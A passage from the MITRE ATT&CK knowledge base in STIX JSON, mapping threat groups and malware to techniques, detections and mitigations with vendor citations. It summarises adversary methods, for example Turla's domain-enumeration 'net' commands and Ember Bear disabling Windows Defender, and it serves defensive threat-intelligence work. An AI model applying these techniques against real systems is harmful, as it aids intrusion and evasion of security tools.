3, 2021."},{"source_name":"Malwarebytes Silent Librarian October 2020","url":"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/","description":"Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."}],"modified":"2021-04-21T02:25:51.044Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has acquired domains to establish credential harvesting pages, often spoofing the target organization and using free top level domains .TK, .ML, .GA, .CF, and .GQ.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b865d0be-c46c-4677-b66e-fe19e1fa9f31","created":"2022-10-05T16:00:02.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T19:26:08.120Z","description":"For [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors used custom malware, including [PS1](https://attack.mitre.org/software/S0613), [CostaBricks](https://attack.mitre.org/software/S0614), and [SombRAT](https://attack.mitre.org/software/S0615).(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b87f6c02-8f95-4e40-a848-b6e3c069d703","created":"2022-01-11T14:58:01.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.932Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has been delivered via spearphishing emails that contain a malicious zip file.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8894821-8f07-4385-955a-205f47ffe619","type":"relationship","created":"2021-03-17T20:32:13.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-17T20:32:13.870Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069","target_ref":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b88db052-2e8b-4e5e-a933-091726002ac2","created":"2024-05-23T22:53:26.826Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:53:26.826Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) uses the NirSoft AdvancedRun utility to disable Microsoft Defender Antivirus through stopping the WinDefend service on victim machines. [Ember Bear](https://attack.mitre.org/groups/G1003) disables Windows Defender via registry key changes.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b89285b3-7d06-49ac-b4d5-c871436a0b67","created":"2022-09-29T19:45:18.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T22:47:03.024Z","description":"Monitor executed commands and arguments that may be related to abuse of installer packages, including malicious commands triggered by application installations.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b892d69f-bdfc-48e8-83f5-3081b9bffa4a","created":"2019-06-05T17:31:22.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.894Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used [Systeminfo](https://attack.mitre.org/software/S0096) to gather system information.(Citation: TrendMicro Ursnif Mar 2015)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8987cc5-08cb-484e-877f-438706f25915","type":"relationship","created":"2020-03-20T17:11:15.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","source_name":"ESET TeleBots Oct 2018"}],"modified":"2020-03-20T17:11:15.190Z","description":"[Exaramel for Windows](https://attack.mitre.org/software/S0343) has a command to launch a remote shell and executes commands on the victim’s machine.(Citation: ESET TeleBots Oct 2018)","relationship_type":"uses","source_ref":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765","type":"relationship","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T02:52:31.794Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover remote systems on a local network using the net view and net view /DOMAIN commands. [Turla](https://attack.mitre.org/groups/G0010) has also used net group \"Domain Computers\" /domain, net group \"Domain Controllers\" /domain, and net group \"Exchange Servers\" /domain to enumerate domain computers, including the organization's DC and Exchange Server.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8a7be73-89a5-4689-8eea-280b745bd3cc","created":"2019-01-29T21:47:53.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.925Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) takes screenshots every 90 seconds by calling the Gdi32.BitBlt API.(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8b16140-82bc-42a0-82f7-bfc402f4b4a4","type":"relationship","created":"2020-12-29T16:46:48.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T16:46:48.463Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed Registry hives ntuser.dat and UserClass.dat.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8b1f3a0-0202-4a2e-a234-f181d45d683a","type":"relationship","created":"2021-12-06T16:01:16.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.821Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used various types of scripting to perform operations, including batch scripts.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8bab261-69f2-49b4-83df-c2f8997753b1","type":"relationship","created":"2021-09-22T21:17:32.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Shining A Light on DARKSIDE May 2021","url":"https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html","description":"FireEye. (2021, May 11). Shining a Light on DARKSIDE Ransomware Operations. Retrieved September 22, 2021."},{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-22T21:17:32.018Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) can capture screenshots of the victim’s desktop.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8bb65e7-3846-4b41-8594-16409a94aa8d","created":"2022-05-25T18:51:32.312Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T20:22:07.510Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used multiple web shells to gain execution.(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8bc044a-2cc7-484e-97f7-77f5577245b5","created":"2024-03-05T18:59:05.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T19:07:36.473Z","description":"[WIREFIRE](https://attack.mitre.org/software/S1115) can Base64 encode process output sent to C2.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8bc3045-4d78-43c1-b06a-6003f094d43e","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables.","source_ref":"x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8ca4610-ccb2-4e29-8478-8670413af4f9","created":"2022-09-27T18:16:12.685Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:16:12.685Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [PsExec](https://attack.mitre.org/software/S0029) to interact with other systems inside the internal network.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8d078f6-77ad-4c6c-8d20-0c4a5a3fd05a","type":"relationship","created":"2019-09-13T16:47:13.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-09-13T17:14:47.933Z","description":"[Machete](https://attack.mitre.org/software/S0409) searches the File system for files of interest.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8d33b58-e0d0-4bf8-a8ec-f6c4c2f1a480","type":"relationship","created":"2020-01-17T16:49:36.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-09T13:46:29.887Z","description":"The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. ","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8d85cbc-a92e-4921-94bc-defa75becbf3","type":"relationship","created":"2020-03-23T15:40:51.089Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T15:40:51.089Z","relationship_type":"revoked-by","source_ref":"attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8dc82ba-2bd6-4299-bf36-9d5968810663","type":"relationship","created":"2020-11-18T19:44:20.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-19T18:59:35.344Z","description":"[Bazar](https://attack.mitre.org/software/S0534) has been signed with fake certificates including those appearing to be from VB CORPORATE PTY. LTD.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8df1d2c-f014-4f51-a277-8050adafb865","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2020-03-16T23:55:30.097Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) aggregates staged data from a network into a single location.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8e0c578-c249-4106-9568-3cbe0473b081","type":"relationship","created":"2020-03-18T15:14:10.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky MuddyWater Nov 2018","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018."}],"modified":"2020-03-18T15:14:10.898Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has stored obfuscated JavaScript code in an image file named temp.jpg.(Citation: ClearSky MuddyWater Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8e128df-429d-4a98-9b34-b179272a8344","type":"relationship","created":"2021-05-10T23:54:35.992Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}],"modified":"2021-05-10T23:54:35.992Z","description":"[Clop](https://attack.mitre.org/software/S0611) can enumerate network shares.(Citation: Mcafee Clop Aug 2019)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8e169f0-2d84-4785-ba46-0cd79082fcf5","type":"relationship","created":"2021-06-21T14:48:40.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T14:48:40.910Z","description":"(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b8e6bb17-9652-464d-8e5d-bd21e1f69a2e","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cisco DNSMessenger March 2017","url":"http://blog.talosintelligence.com/2017/03/dnsmessenger.html","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017."},{"source_name":"FireEye FIN7 March 2017","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TEXTMATE](https://attack.mitre.org/software/S0146) executes cmd.exe to provide a reverse shell to adversaries.(Citation: FireEye FIN7 March 2017)(Citation: Cisco DNSMessenger March 2017)","modified":"2022-07-20T20:06:44.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8e73402-56ac-4085-b52a-b87d173df658","created":"2024-05-31T19:10:37.545Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T19:10:37.545Z","description":"Monitor for changes to files that may highlight malware or otherwise potentially malicious payloads being copied between different file/folder locations on a host.","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--cc36eeae-2209-4e63-89d3-c97e19edf280","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8ead9c4-0403-4b23-b33f-8ac1c57f8e82","type":"relationship","created":"2020-05-18T17:31:39.477Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."},{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 